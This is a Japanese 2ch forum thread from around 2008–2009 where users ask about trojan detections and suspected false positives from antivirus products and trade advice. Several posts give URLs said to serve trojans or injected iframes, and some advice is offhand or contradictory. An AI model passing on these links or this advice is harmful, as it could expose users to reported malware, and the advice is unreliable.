TORJ FAKEAV.mcs とかいうのが検出されたんだが…
いったいどんなものなのかさっぱり情報がないんだけど知ってる人いる？

とりあえず削除してシステムの復元を無効にしたけど…

↑ごめん

×TORJ
○TROJ

>>167
私も22時34分にウィルスバスター2007がそれを検知しました。
WindowsVistaのUpdate中に検知しました。
初めてのウィルス検知で気が動転して、LANケーブル抜いて今に至ります。
ウィルスのログには、Program Files\Java\jre1.6.0\bin\jusched.exe
と書いてあります

>>169
調べてみたらウイルスバスターの誤警告らしい。たぶんほっといて大丈夫っぽい。

ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ%5FFAKEAV%2EMCS&VSect=P

自分もかなり動転したww

>>170
ありがとうございます。安心しました。
あとちょっとでリカバリする所でしたw

２ちゃんのあるスレで貼ってあったURLクリックしたら変なサイトに飛びました
すぐ消したんですが、そのあとについてたレスが「ウイルス貼るな！」「トロイだから踏まないように」などというものでした
すぐバスターでスキャンしたんですが、なにも検出されず、カスペルスキーのオンラインスキャンもやったんですが何も検出されませんでした
鑑定スレに出したら「すごい危険だから絶対踏むな」とのレスが返って来ました
リカバリするしかないですかね

つけたし
PCはなんの異常もないんですが･･･

マルチ死ね

家に帰ったらＰＣが勝手に再起動していて
カスペルスキー先生がTrojan.Win32.Agent.goaに感染してるよ！！って言ってくれてる
しかし、モジュールがsvchost.exeなんだ。
駆除できないし。

おまけに巻き込まれて感染してたのを消したらタスクマネージャが起動不能になったし

どうしたらいいのか・・・・

svchostが呼んでる何かだろ

カスペで何となく完全スキャンかけて見たら「Exploit.Win32.IMG-GIF.bに感染しています」とか出やがった('A`)

ある仕事で使ってたファイルがあって、
サイズはトロイっぽい感じ。
でも知り合いから回ってきたし大丈夫だろうと使用してて、
この前偶然ノートンでスキャン。トロイだと出る。
でも、特定のトロイだと断定されたわけじゃなくて、
凡用名で警告がでる。つまりトロイっぽいですよと。

家に帰ってアバストでスキャン。何も出ず。
カスペルでスキャン。何も出ず。
ウイルスバスターでスキャン。ダイアリーとかいう
わけのわからん、どうでもいいウイルス？ですよ。と出る。
被害がほとんどないわけわからんウイルス。

この場合、みなさんならどうします？
アバストとカスペルでトロイ名が断定されて警告ならビビるけど、
ノートンだけでトロイ認定されても、何かね・・・・。
ウイルスバスターの結果も意味不明だし。

これで再インストールとかする勇気はないなぁー

今VirusTotalでスキャンしたら、３６のスキャンのうち、
５個で疑わしいと出て、５個でトロイかウイルスだと出ました。

exeファイルだから出やすいのかなぁ。それともマジでトロイかな。。。

でも３６個中５個って微妙だなぁー。結果に統一性ないし。

あ、179=178です。

このスレ、トロイへのリンクが山ほどある
http://pc11.2ch.net/test/read.cgi/pcqa/1222422811/

自己解決しましたｗ

VirusTotalでの結果が３６のうち３つでトロイだと
言われたのですが、３つともかなり疑わしい会社で、
一つは誤検出で有名な所でした。
誤検出すると言われるトロイ名にドンピシャ。

まともな会社でのトロイ断定はノートンのみという。
まぁ、ノートンがまともかどうかは置いておいて。

他でもやりましたが、２５のうち１つ２つしかトロイ認定されなかったり。
もちろんその認定したのは誤検出で有名なウイルスセキュリティ。


使ってるファイルが作られたのが約２年前ですから、
ここまで大手で検出されないと言う事はないだろうと。

そういや、カスペルとかでは検出されなくて、
VirusTotalで検索すると、「トロイ」かも知れません、
みたいな感じで数個検出される時があって。
特定のトロイに断定はされないけど、
何か検索結果が微妙っていうそういう時みなさんどうしてます？

別にトロイじゃないのにそういう事になる時ってありますか？
何かすっきりしてない感じ・・・。

アンケートはただひたすらウザイなぁ

BNDMSS.EXEって新手のウイルス？
PC起動時からずっと動いててタスクマネージャからも停止できない…。
ググっても英語のサイトしか出てこなくてさ、
英語読めないから自動翻訳したら、どうもトロイっぽいっていうんだけど。
トレンドマイクロなんかのデータベースにも引っかからないし、何これ？

TROJ_STARTPAなんですが、
場所がsystem32\taskmagr.exeってtaskmgr.exeとは別物ですよね？
消しちゃってもおk？

ごみ箱にでも移動してしばらく使って問題ないなら削除すればいいだろ

ttp://internet.watch.impress.co.jp/cda/news/2005/01/11/6001.html
この記事にあるようにwmvを再生しようとしたら
メディア使用権限取得しますってなって
UPDATE.3397ダウンロード
インストールしたらスカイプにてなぞの英語文章が勝手に書き込まれるように
なったんだけど他になった人いる？

87 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2008/11/11(火) 17:20:00
ttp://internet.watch.impress.co.jp/cda/news/2005/01/11/6001.html
この記事にあるようにwmvを再生しようとしたら
メディア使用権限取得しますってなって
UPDATE.3397ダウンロード
インストールしたらスカイプにてなぞの英語文章が勝手に書き込まれるように
なったんだけど他になった人いる？

TROJ_MESOUM.AAって言うのが検出されて駆除しようとしても出来ないから隔離してるんだ
ウィルスバスターの誤作動かなんかなのかな？最近普通に使ってるだけででてくる
情報もまったく無いから困ってるんだけど、知ってる人居たら教えて欲しい。

TROJ_系統がここ最近頻発して困っております。
セーフモードで何回も削除しているのですが、
三日ぐらい経過するとリアルタイム検索に引っかかります。
その度ごとに削除すればいいでしょうか？
それとも他に何かよい方法がありますか？

統合型セキュリティソフト（無料でも有料でも良い）を導入すべきでしょう。
半端なソフトの多重ともいえる併用は止めたほうがいいよ。

>>192
いま、ウィルスバスターを使っています。
検索能力が劣るということでしょうか？

ウィルスバスターを上手く使えばいいと思うよ。
統合型ならおｋさ

>>193
たまにNorman Malware Cleanerとかでスキャンしてみるといいよ（Safeモードで）

xfy Blog EditorのxfyBlogEditor.exeがAvira AntiVirでTR/Dropper.Gen だって
診断されるよー。

TROJANE

ブラクラかウィルス踏んだのかは分からないが、スパイウェアが毎日、９個見つかり、日に日に増える現象がある。
トロイの木馬か？
ウィルスバスターでは全部クッキーみたいなことらしいが・・・。

>>198
eroサイトの巡回をやめれば解決する

>>198
トラッキングcookieでは？

エロサイトを巡回するとトップのショートカットがサイト固有表示→IEになる所が必ず出て来る
で､巡回を定期的に続けると最終的にほとんどがそうなり､段々とブラウザの反応速度が遅くなり､
３カ月でリカバリーする事になる
俺はいつもそう

トロイの木馬に感染しちゃったかも…

とりあえず、インターネットはどれもエラーで表示されない(´・ω・｀)

２ちゃんからトロイが感染しそうになって警告でたのだが。
スパイウェアも２ちゃんからかもしれん

PSW.OnlineGames.BATC
ってなんすかね
隔離だけでもんだいないっすかね
ググっても情報無いッス

ネトゲの中華パス抜きトロイだろ

ノートンがトロイを検知しました＆問題を完全に解決しましたって出たんだがエロゲのシステムファイルだった。
ただ、気になるのはそれが友人から貰ったゲームで友人はWinnyから落とした事……そしてインストールしたのは二年くらい前なんだ…………ゲームに偽装されたトロイなのか心配。
ファイル自体はexeでは無かったから安心して大丈夫？

>>206の補足でファイルはfpkで終わってました。

自業自得

ttp://www.hutechnorin.co.jp/
激しくインターネットセキリュティーが反応するけど、どいうい事なんですか？

どのインターネットセキュリティだよタコ

すいませんです。
世界最高水準のセキュリティソフトKです。

菌糞太か
ならしょうがないな

駆除してたらこんな時間になっちゃったよ。
TROJ-GAMETHIE.PJの具体的な症例あったら情報求む。
種類だけでも判別したいんだけど…パス抜き系かな？

ネトゲのパス抜きだろ

>>209
トロイの木馬???

http://www.hutechnorin.co.jp/
????

TROJ_AGENT.ZZAS
というトロイの木馬が見つかりました。
対処方法を読んでも意味が分かりません、どなたか対象方法ご存知の方いませんでしょうか？＾＾；
教えてください、お願いします

>>217
TrendMicro、McAfee、NOD32などで検出駆除可能

検知しました: トロイの木馬 Exploit.Win32.IMG-GIF.bってでました。
どういう事ですか？
すいませんが教えてください。

検知したんでしょう。

トロイの木馬を検知したって意味ですね

検知しました: トロイの木馬 Exploit.Win32.IMG-GIF.b
どうすればいいんですか？

削除すればいいんじゃないかな

削除すればいいでしょう。

>>216
検知しますか？

元々使っていたデスクトップのパソコンにトロイの木馬が感染していたんですが先日パソコンを買い替えました。

まだインターネットに接続してないパソコンがセキュリティ診断に引っ掛かりトロイの木馬が検出されました。

これって無線が感染している為に新しい方もトロイの木馬が検出されたんですかね？

これの解決策はリカバリしてNTTに無線ランの交換をしてもらうのが得策なんですか？

>>226
セキュリティ診断ってどこのさ？
誤検出の可能性だってあるぞ

すみません・・・
初心者ですがどうかおねがいします（涙）

vistaでAVG8.0（フリー）使ってます。スキャンかけたところ
プログラムファイル　サイドバーガジェットとでました。。これは削除していいのですか？
無知な私に教えてください。。一回ダウンロードしたことがあります・・・そこからかな・・・
この検出されたファイルのプロパティ見ると作成日が数年前です。どうしたらいいんだろう・・・

>>228
誤検出かもしれないのでVirusTotalに投げてみる
ttp://www.gigafree.net/security/onlinescan/virustotal.html

>>218
ウイルスバスター2008で検索したらTROJ_AGENT.ZZASが検地されたのですが
削除できないようなのですがどうすればいいのでしょうか？

トロイ注意
ttp://www.trigem.com/jp/product/product_overview.asp?category=2&seq=61

トライジェムっていうあまり有名ではないと思うメーカーのノートPCのサイトで
カスペがExploit.SWF.Downloader.loとTrojan-Downloader.JS.Agent.ddq
ってのを検出したんですが、これはどのくらい危険なものなんでしょうか？
誤検出ってことはないですよね…

ちょっと質問させてください。
TROJ_AGENT.AFZPっていうのが検出されます。

稀に海外のエロサイトに繋いだ時にトロイを拾うことはありましたが
昨日から回線を繋いだだけなのに↑のウイルスを拾ってしまうようになりました。

ウイルスバスター2006がきちんと隔離してくれるのですが
回線に接続しただけでもトロイを拾ってしまうものなんでしょうか？
こういった経験が無いため少々心配になっているのですが
対策やアドバイスがありましたらお教え願います。

ウイルスバスター2006は、2005年発売なんで
最新のマルウェアに対するセキュリティソフトとしては役に立たないよ

>>233
アップデートは毎日行って最新の状態でも
2006年版を使うのは問題ありという事でしょうか？

昨日今日だけで

TROJ_BHO.LY
TROJ_AGENT.AFZP
TROJ_VUNDO.DJH

これだけ検出されました

何処からかウイルスを送られているのか
2〜3時間おきにウイルスバスターが反応しています。

素直に最新版に変えた方がいいのか…。

トロイ系なら、カスペルスキーがおぬぬめ。

バスターなんて、もってのほか。

>>234
届くウイルス定義が同じであっても、
セキュリティソフトの年式によって保護・検出の仕組みが古ければ
保護・検出・駆除もできないよ

>>233>>235>>236
アドバイスありがとうございます。

同じ様な症状が以前より多数報告されているんですね。
他のスレでも同じウイルスが検出されたとの書き込みがあったので
皆さんのご意見を参考に対応してみます。
どうもありがとうございました。

TROJ_AGENT.AFZP

こいつが、削除できん。
ウイルスバスターで３時間おきぐらいに
抽出してくる。

>>238
同じく

隔離成功する時と隔離不能の場合があります。
隔離不能の場合はどうしたらいいんでしょうか…

所詮台湾製だし

糞バスターや糞AVG使うぐらいならウイルスセキュリティZEROの方がよっぽどマシ
というかウイルスセキュリティZEROは神製品

>>238>>239
うちは2時間おきに、それも決まって11分になるとウイルスが検出される。
同じ名前のウイルスが複数ひっかかったり、データベースにないウイルスが来たりでこの4〜5日特に酷い。

隔離不能の時はファイル名を見て手動で検索するんだけどウイルスが検出されず…。
特に不具合は見られないけど、どうなってるのか不安。

http://oshiete.optcom.jp/qa4275025.html?ans_count_asc=0
これは誤検知でしょうか？
私もAVG Internet Securityで同じ反応が出ています。

>こんにちは。
>私はクラッカーコミュティーの潜入調査や対策ソフトの多角的性能テストなどをしております。

なんだこの回答者。この板で荒らしてる奴か?

新年発カキコ

先日木馬に感染しました

ウイルスバスターでウイルスを削除したので木馬は退治したのかと思いました

しかしウイルスは検索されないのですが
スパイウェアが削除しても削除しても検索するたびに検索されるのですがこれは木馬の影響があるのでしょうか？

どなたか対策を教えていただけませんでしょうか？

隔離ファイルにあるスパイウェアも全削除したほうが良いのですかね？

246続き

今バスターでウイルス検索のみしてみたらウイルス処理できませんと出ます

ウイルス、スパイウェア、セキュリティホールまとめて検索してたのですが
スパイウェアにみ毎回検索されてましたからウイルスはなしと思っていたのですが
これはウイルスは検索すらしてなかったという事でしょうか？

マジ怖いんですけど

>>246-247
セキュリティ初心者質問スレッドpart115
http://pc11.2ch.net/test/read.cgi/sec/1229429502/4

>>246
>>247
ウイルスバスターみたいなゴミ使ってないで検出率が最高のウイルスセキュリティZEROにしなよ

>>248
トロイなのでここかと思いましたが初心者スレなんですね
お手数かけました

>>249
それって凄い安いやつですよね？
確か評判は良くないと聞いたんですがこの問題を解決できますか？

>>250
自分で調べてみると良いぞ。この世に安くて高性能な物なんて無い（特に工業製品は、ソフトもだが）
世界シェアでは、１位Symantec、２位Mcafeeだが、評価版を使ってみるのも良いかと。

あと、セキュリティーソフトは主に防御のためにあるので駆除ツールとしての期待はあまりしない方がよいと思う。
マルウエアにやられたら、クリーンインストが基本。そのために大事なファイルはバックアップしておくことが大事。

TROJ Generic.DITが検出されました。誤検出の可能性のあるようですが詳細がよく分かりません。ググっても駄目でした。これはどういった症状が出るものなのか、どなたかご存知ありませんか

DITってことは未知のものである可能性と誤検出の可能性がある。ただ未知である可能性の方が高いので削除しておいた方が無難。症状も未報告。

他スレでは復元ポイントに潜んでる場合もあると聞いた。その場合は復元ポイントごと削除するのが無難。復元ポイントはまた復活させればいいので早めに対応しておきな

ビスタってワームを自動的に処理するらしいな

>>254
したことがないのは俺だけ？

昨日まで普通に見られた動画サイト。
数時間前から重すぎてみられなくなり
この時間帯何回開いてもトロイの木馬が検出される。

なーぜー

しらんわそんなもん
自分で検索汁だらだら

>>256
ﾌﾟｯ
アダルト見すぎだね。
まぁ。本数でいけば到底オレにはかなワンだろうｹﾄﾞ
お大事に。

おいおい冷たいな。
検索しまくっても出ないんだよなぁ。

アダルトサイトじゃねーよ。

検出されるんならトロイの木馬が原因だろ
諦めてリカバリしろ

>>259
あんただれ？

まぁ、オレはもう慣れっこだけどねｗｗ

>>259
つか、誰に言ってるの？
おいおいって。

ひょっとして、アンカーの付け方知らない人かなぁ。
まぁいいや。

ぁーあ。。。。。。。。。。

・・。

ウイルスチェックしてたら、
\system32\AutoExe.exeが、
Backdoor.Win32.BlackHole.2005.aに感染しています。

と出ました。
駆除方法など検索しても皆無…
ちなみに安置ウイルスソフトはウイルスセキュリティで、
「ファイルは使用中」「隔離できません」と出ています。

どうしたらいいですか・・・・・

SafeModeで消せば?

感染して文字化けしたファイルは
どうやって消すの？
トロ。。。みたいなかんじで出る

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SEMAPI.A&VSect=T

これ見たら、どう対処すれば良いかわかるだろｗ
単純に
＞AutoExe.exe　こいつを削除

レジストリエディタを使用するんだよｗ

最近、PCの起動時に黒いウィンドウで名前が、〜spy.exeという表示が一瞬出るんです。怪しいと思い検索したのですが正体が掴めません。検索結果にトロイがヒットしたので質問させていただきました。トロイの木馬なのでしょうか。よろしくお願いします。

一口にトロイの木馬と言っても、セキュリティソフトメーカーにより
コードネームが異なるからなあ。
〜spy.exe　こういうのは削除して良いよ。

>>273
ありがとうございます。メーカーはﾏｶﾌｨーです。消去したいのですが、ウィルススキャンしても検出されません。他に方法で消去するのでしょうか。度々すみません。

マカフィーがブートクリーン技術を用いているならば、
このようなトラブルには遭わなかったと思われる。

OS起動の前から起動していると思われる。

リカバリーするしか手はないね。

>>274

＞ウィルススキャンしても検出されません。

＞PCの起動時に黒いウィンドウで
これが、その理由

Antivarだろうが、AVG、Ad-wear、etc..だろうが、応急処置で導入しても駄目。

マカフィーを使い続けたいならリカバリーか、
邪道であるが、総合セキュリティソフト統合型のカスペを一時的に
入れて、駆除後に、マカフィーとスワップしてしまえば良いね。

>>274

難しそうですが、やってみます。ありがとうございました。

乙です。 >>277

TROJ_FAKEAV.ANA,TROJ_AGENT.ANDY
に感染し、修復しましたが、windows update、シマンテックオンラインスキャン等につながらず、ウィルス対策ｿﾌﾄがインストールできなくなりました。解決の仕方を知って見えたらお教え願います。

cookie_Atwolaを放置はまずい？

>>279
ネカフェなどでNorman Malware Cleaner を落としてくる
それでだめならリカバリ

すみません質問です。

トロイに感染してしまって色々調べたのですが、｢ネトゲのパス抜き｣とはパスワードを奪われる症状を指すのですか？妹のPCが感染したようですが彼女はネトゲをしないので放置しても大丈夫でしょうか？

その他パソコンに入っている暗証番号などが無作為に奪われてしまうものなのでしたら早急に対処したいのですが…ご存じの方おられましたら回答お願いします。

どっちにしても放置しないでちゃんと削除すればいいじゃない

トロイのURL(末尾が.exe)を誤ってクリックしてしまい、ウィンドウズのダウンロードするかしないかの警告で結局ダウンロードしなかったんですが、これはギリギリセーフと考えていいでしょうか？

シマンテックウイルススキャンで〜.tmpからトロイ(名前は表示されなかった)が検出されたんだけど、削除だけでおｋですか?

その後スキャン(niftyとシマンテック)しても発見されず、特に目立つ症状もなしです。

突然このように書かれた　mutation of trojan virus　ウィンドウが開くようになりました。
ウィルスセキュリティーZEROでチェックしても何も検出されませんでした。
どうすればいいでしょうか？　

>>284
たぶん大丈夫です
念のためウイルススキャンすればいいかと

>>285
常駐のウイルス対策をしてください

>>286
まずは検出率の低いと言われるウィルスセキュリティZEROをやめて他のものに乗り換えてみてはいかがでしょう

>>287
ありがとうございます。
一度リカバリして常駐対策ソフトを導入することにしました。

>>287
ありがとうございます。
念のためウイルスチェックを行いましたが検出されませんでした。
今まで面倒だと思ってたWindowsの問いかけに助けられましたw

すいません。
教えてください。
Windows defenderの方でも質問したのですが、
パソコンを起動する度にWindows defenderが「Trojan:Win32/AgentBypass.gen!K」を検出し削除するのですが、再起動する度に検出します。
システムの復元を無効にしてもダメでした。
なので、Windows defenderで削除せず、カスペルやマイクロトレンドのオンラインスキャン、ノートンでスキャンするのですが検出されません。
Windows defender以外では一切検出されないので困っています。
やはりOS再インストールしかないのでしょうか？
それとも誤検出の可能性があるのでしょうか？
教えていただけると助かります。

向こうのスレで同じ状況だっていってくれてる人がいるんだから、誤検出の可能性が高いんじゃないの?

グーグルの検索結果のこのページ
http://www.google.co.jp/search?hl=ja&lr=&q=%E3%83%8F%E3%83%97%E3%82%B9%E3%83%96%E3%83%AB%E3%82%AF%E3%80%80%E3%83%AD%E3%82%B9%E3%83%81%E3%83%A3%E3%82%A4%E3%83%AB%E3%83%89%E3%80%80&start=10&sa=N
の一番上にある
http://dilettante-salon.com/mailmagazine/backnumber/history/melmaga017.html
このサイトを踏んだところ、
「JS/Generic Exploit.i」というトロイの木馬が仕組まれていたようです。
ウイルス対策ソフトが削除してくれましたが、
このサイトは特に怪しい内容でもなさそうなのに何でトロイに感染するのか分かりません。
どなたか教えて下さい。
よろしくお願いします。

>292
SQLインジェクション
ttp://www.lac.co.jp/news/press20080312.html

トロイの木馬に感染したらリカバリーしなきゃ駄目でしょうか？
ウイルスソフトで駆除してからも何度もトロイの木馬を検出...と出ます。
しかし検出結果にはトロイの木馬がなくて、スパイウェアだけです。これはどういう事ですか…？？
駆除出来てないんでしょうか？

リカバリ後、同じセキュリティソフトで再現性があれば、そのセキュリティ
ソフトの使用を断念し、他社製品に乗り替えるのが賢明な策と云えるでしょう。

あやしげなサイトです　何かきなくさい臭いがします。


ttp://www.steamcommunitycomgroupsadrenalina.tk/

ttp://www.freelotto.com/register.asp?skin=FWinner&affiliateid=&noepu=1&partner=1059565

どうやら外付HD経由でトロイに感染してしまいましたorz

PCを起動するたびに「0x01...の動作がキャンセルされました」
と停止マークと共に出てきて、抵抗しようと「Ctrl＋Alt＋Delete」
でPCの動作を確認したら、
プロセス欄に約35こもの訳わからないプログラムが起動（ダウンロード？○○mbと出ていた）してる状態でした。

ウイルス対策とかに疎い僕にどなたかお教えいただけないでしょうか。
よろしくお願いいたしますm(__)m

>>297
→セキュリティ初心者質問スレッドpart117
http://pc11.2ch.net/test/read.cgi/sec/1235133157/4
*PCトラブル質問掲示板　（ウイルスによるトラブルに見舞われている方の解決掲示板） へ

>>295
ありがとうございます。
再現性というのは何ですか？
パソコン本体に住み着いてしまっているという事でしょうか？

そのアンチウイルスソフトの誤検出だってことじゃね?

なんかgih.exeという怪しいものがタスクマネージャを眺めてたらあったので削除したのですけどもう大丈夫ですかね？

初めてトロイの木馬に感染したのですが、
ウイルスバスター２００８で検出されたTROJ_GENOME.BK
をトレンドマイクロで調べた結果をみて誤検出だと思うのですが
TROJ_GENOME.BKはトロイの木馬では無いと理解してよろしいのでしょうか？？

ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ%5FGENOME%2EBK&VSect=P

>>296
↑スパム送信者のブラックリストに引っかかった

↓不明
>>302
＞この誤警告はパターンファイル 5.947.00 以降で修正されています。

ってあるからパターンファイル最新のにしてもう一度検索すれば検出されないんじゃない？

>>303
最新のパターンファイルに更新して、検出をおこなうとトロイは出てきませんでした

昨日、foooooのサイトを見た瞬間、トロイの木馬が検出されましたと表示され
て遮断しましたと表示（kaspersky2009)されましたがそれから何もしなくても
大丈夫でしょうか？ウェブアンチウイルスのレポートにはそれだけがのっている
んですが、サポートに問い合わせたらプロテクションが「コンピュータは安全です」
と表示されていれば問題はないと言われましたが、なにぶん超初心者なので
わかりません。どなたか教えてください！非常に不安です。

C:\Program Files\Le.Chocolat\SWANSONG\xp3dec.tpm Infected: Gen:Trojan.Heur.GM.0804022C00
C:\Program Files\Le.Chocolat\SWANSONG\xp3dec.tpm Disinfection failed
C:\Program Files\Le.Chocolat\SWANSONG\xp3dec.tpm Moved
C:\Program Files\Yahoo!J\Yahoo! Widget Engine\uninstall.exe Infected: Trojan.Generic.978943
C:\Program Files\Yahoo!J\Yahoo! Widget Engine\uninstall.exe Deleted

ヤホのプログラムにまでトロイがいたんですが大丈夫でしょうか？

常識です

ウイルス名は「torojan downloader.win32.generic」です。
カスペルスキー2009のレポートでは検知、遮断されたとありますが
ステータスバーで確認すると見つかりませんと書かれていたのです。
状態は「コンピュータは安全です」となっているのですが
特に不具合はないし問題はないかなと思っているのですが皆さんは
このウイルスにどう対応されてますか？

勤め先のホームページがトロイに感染していると言われました。
職場のPCで見てみたところ読み込んだ瞬間に激しく重たくなる以外には
異常動作は見られませんでしたが、自宅のPCではアラートで
「HTML:Iframe-inf」が検出されたと出ました。
ソースを見てみたところiframeで「lotmachinesguide.cn」へのリンクが埋め込まれていました。
自分なりに調べてみたのですがよく分からず…悪質なものだったら
早急に対処すべきなのですが私に知識が無いため「何かが起こっている」程度の
説明しかできなくてPC音痴の上司に事情が伝わりません。
具体的にどういうものなのかお分かりになる方、教えていただけませんでしょうか。

そのサイト教えろや

ブラックアウトするからてっきりＰＣが逝ったのかと思って
数日新製品検討に費やしたけどどうやらトロイだったっぽい
何とか再感染しなくなったし新ＯＳ出るまで持ってくれよ

Trojan-Downloader.WMA.GetCodec.uが検出されたのですが・・・
対処法を教えて下さい；；

ノートンがエロゲのディスクに対して「トロイの木馬が検出されました」て出た
おいおい誤検出だよな？

>>313
エロゲ作っているのはほとんどシナ人

>>296
悪い予感的中

マカフィー使用。Generic Dropper.ek とかいうトロイを二度も検出した。
二度とも削除されたが、リカバリしないと駄目かなぁ

Win32:KavosというのがUSBから検出されたのでチェストに移動したのですが
トロイですよね？
USBの中のファイルはもうだめですか？
USBの中の課題をやらなきゃいけないのですがやめといた方がいいでしょうか？

>>317
ファイル書き換えするやつじゃないと思うから大丈夫

それよりパソコンのほうが心配だ
ちゃんと隠しファイル表示されるか？

>>318
隠しファイル？
すいませんそれはどうやって確認すればいいのですか？

ちょっとテスト

avastたんが怒ってる

アニメ板の前スレを見ようとするとトロイの木馬を発見しましたって出て
見れなくなるんですが、なんでですか？
ほかの板の前スレは見れるんですが。

>>322
自分もだ
前スレじゃなく本スレの全部見ようとしたらavastﾀﾝに怒られた…
昨日もあったんだよなー
何でだ？

>>323
あなたもですか、一体何がおこったんだ？
ちなみに今日見たら普通に見れた。
原因は何なんだ？

VIP見たらavastが感染の警告を鳴らした
スキャナをしたら感染数０だったけどWebシールドが感染数1
プロバイダの状況を終了してまた開始したら0になったけど
大丈夫なのかな？

初めて感染したから怖い

>>325だけど
さっきVIPを見たらビービーって鳴らなかった
ご認知でしょうか？

違う板だけど、見ようとしたら今AVASTがトロイ検出したと言って遮断された
ゲーサロ板にここのAVASTスレもorz

ここのウイルス検査したら異常なしだった
http://security.symantec.com/sscv6/home.asp?langid=jp&venid=sym&plfid=21&pkj=FYNVYHGBYNCJEIMXQKC

ご認知なのだろうか？

セキュリティソフトゼロでウィルス検索したら is a trojanって二件出たんですけどこれってトロイですか？
削除するにはどうしたらよいでしょうか…？

クリーンインストール

セキュリティソフトゼロとやらのスレで聞けよ

2chの規制議論板に入ろうとするとavastがトロイ発見しましたと
サイレン鳴らすんだが・・・

どうやらトロイの木馬に感染したみたいなんですが、
特徴が、

・1時間ぐらいごとにインターネットが強制終了される。
・今まで使っていたトレンド社のウイルススキャンが使えない
・さらに、他何社かのウイルススキャンも試してみたが、
『ネットワークに接続してください』などと出て、
ウイルスキャン自体が使えない。

他にもあると思うんですがいま分かっているのは
これだけです。
インターネットは利用でき、他は問題なく使えますが
こんなことは初めてなのでどうしたらいいかも、
知識もまったくありません。
ファイルスキャンという物も試そうと思ってみましたが、
どこに潜んでいるのかも分からず完全に手詰まりです。
どなたか解決方法、解決までの手順などを教えてください。

スレ違いでしたらご指摘下さい。
よろしくお願いします。

>>333
知識ないなら、クリーンインストールした方が早い

Trojan HunterとTrojan Removerどっちがいい？

http://www.india-center.org/content/j_main.php
ここで「HTML:Iframe-inf」が検出されるけど、ウィルス？

トロイや他の流出ウィルスに感染したことがないからよく知らないけど
一度感染して不正侵入や遠隔操作、流出の被害にあうと
感染したPCをクリーンインストールしても
今度はウィルスを踏まなくてもそのPCを突き止めて
不正侵入することが可能なのでしょうか

【ノーガード厨死亡】　PC内の全データを削除する破壊的トロイの木馬が流行中
http://tsushima.2ch.net/test/read.cgi/news/1244477674/

http://img.2ch.net/ico/u_chinsyu.gif

木馬ﾔﾊﾞｲ

http://sa10kh.blog65.fc2.com/blog-category-14.html
ここでhtml iframe-infウィルス感知しました(Avast!仕様)。

電源を入れてしばらく放っておくと画面真っ暗になりますよね？
それでキーを連打したりマウスを動かすと画面が映るんですが真っ暗のままでした。
仕方がないので強制的に電源を切って（電源ボタンを押す）またつけたら
ウィルスバスターがなんか言ってきてやったらトロイの木馬が２６件も！
これは定期的にウィルスバスターでチェックしなければならないのでしょうか？
うう、わかんないです＞＜

>>342
1.ノートン インターネットセキュリティ 2010ベータ版（14日使える最新版）のインストーラーをダウンロードしておく
ttp://www.symantec.com/ja/jp/norton/beta/index.jsp?inid=jp_ghp_hero_beta2010
2.ネット回線ケーブルを抜いてウイルスバスターをアンインストール
3.ノートン インターネットセキュリティ 2010ベータ版をインストール、PC再起動
4.ネット接続してやる→Live Update→システムの完全スキャン

操作でわからないことはNorton2009スレへ

↑ノートンに乗り換えさせようと画策する工作員

なぜ分かった？

ttp://nagoya.cool.ne.jp/infinite/internet/trojan_horse.html
ここの方法で調べてみたのですが、
感染してますか？
ttp://www.dotup.org/uploda/www.dotup.org264950.jpg

してるしてる

今日Cravingで動画サイトからMP3に変換→Itunesに自動登録をしていたら
英字の警告が出た後にトロイの木馬が検出されたという表示がでたんです。
で全ファイルスキャンをかけたら、なにやらItunes関係のファイルが感染していたらしく
そのリストに表示されていたファイルやらを削除して、Itunesを再インストールしようとしてみたんですが
インストールの途中でもまたトロイの木馬が検出されてしまいItunesがインストールできません・・・・

なにかいい解決法があったら教えていただけませんか？

AVGを窓から投げ捨てるといいと思います

俺のパソコンもItunesからトロイの木馬が
わんさか出てきた

何故だ

ん
AVGお得意のapple系誤検出じゃなくて？
もし違ってたらごめんね

>>351
どうやら誤検出だったようだ
新しいアップデートファイルも更新されていたよ

はあ、焦った。

このウイルスに感染したんですが症状がでません。どうしたらいいか…
トロイの木馬Generic13.AWQH

エヴァ新劇場版のまとめWIKIのトップのリンクがトロイブラクラに
かわってるな

.,,.,;:.;:,., .,.,.;:,.;:.,.,
／//三三＼＿＿＿＿／三三＼＼
／////三三三|;: ;: ;: ;: ;:;::|三三三＼＼＼
/／／／／三三|;: ;: ;: ;: ::;:;::|三三＼＼＼＼＼
　/／／／／´ ＼＼＼＼ |
　 /／／／／ | | | | | | | |
　│| | | | || | | | | | | | |
　 │| │| │| =ﾞﾞﾞﾞﾞﾞﾞ*､,_ 　 .**''"~~ヽ. | | | | | | | |
│| │| │| ,ｨ''f,ﾜ'ｧ..` �� r''ｨ''f,ﾜ''ｧ | | | | | | | | |
│| │| │|| .::" lﾞ　　ﾞl ﾞ､､: | | | | | | | | |||
| | | | | | | | r:: ..'-,ﾞl | | | | | | | | |
| | | | | | | 　 　　..lﾞ::,;:;:,: :,,,‘,!: 　　　: : : .|| | | | | | | |
| | | | | || | : 　　　 　 ﾞ-ﾞ;:”;:;:~.┘ 　　　 : : : | | | | | | |||
| | | | | | | | : : 　 : ;;:;:;:;:,, ;:;: ;:;:;:;;: ;: ; 　　 : :| | | | | | |
|| | | | | | | : 　　 : .-'゛: : : : : : :ﾞ''　: 　　 : :| | | | | | |
| || || | | | | | : ｀'"￣￣￣~"　　　　 ,l| | | | | | |
| | | | | | ||| |＼、 　　　 ﾞﾞﾞﾞﾞﾞﾞﾞﾞﾞ＾　　　　　　lﾞ| | | | | | |li!
彡彡彡彡彡//｀'-,、　　　　　　　　　　　 ,／l|l|l|| | | | | | | |
彡彡彡彡彡///////l、: : : : : : : : : : .,!_,／ ,,,lllﾞﾞ,,lllllﾞ,ilﾞ゜| | | | |i!!|

エロゲからGeneric13.BXBWをAVG.8.5から出てきたけど
誰か詳細分かる人いる？

AVG()笑

ノートンでスキャンした所、Trojan.Malscript!htmlが検出されて焦っています。
特に危険なサイトにアクセスした記憶もないのですが…
検出されたファイルもノートンが教えてくれずどうしていいかわからない状態です。
ウイルスが検出された時、感染元ファイルはどうすればわかるのでしょうか？
すみません、よろしくお願いします。

自己解決しました！

常駐監視ソフトでお勧めってありますか？
現在はESET + a-squared Freeで防護しているのですが、常駐のトロイ対策ソフトがないのでまずいのかな？と
それともこれくらいで十分でしょうか？

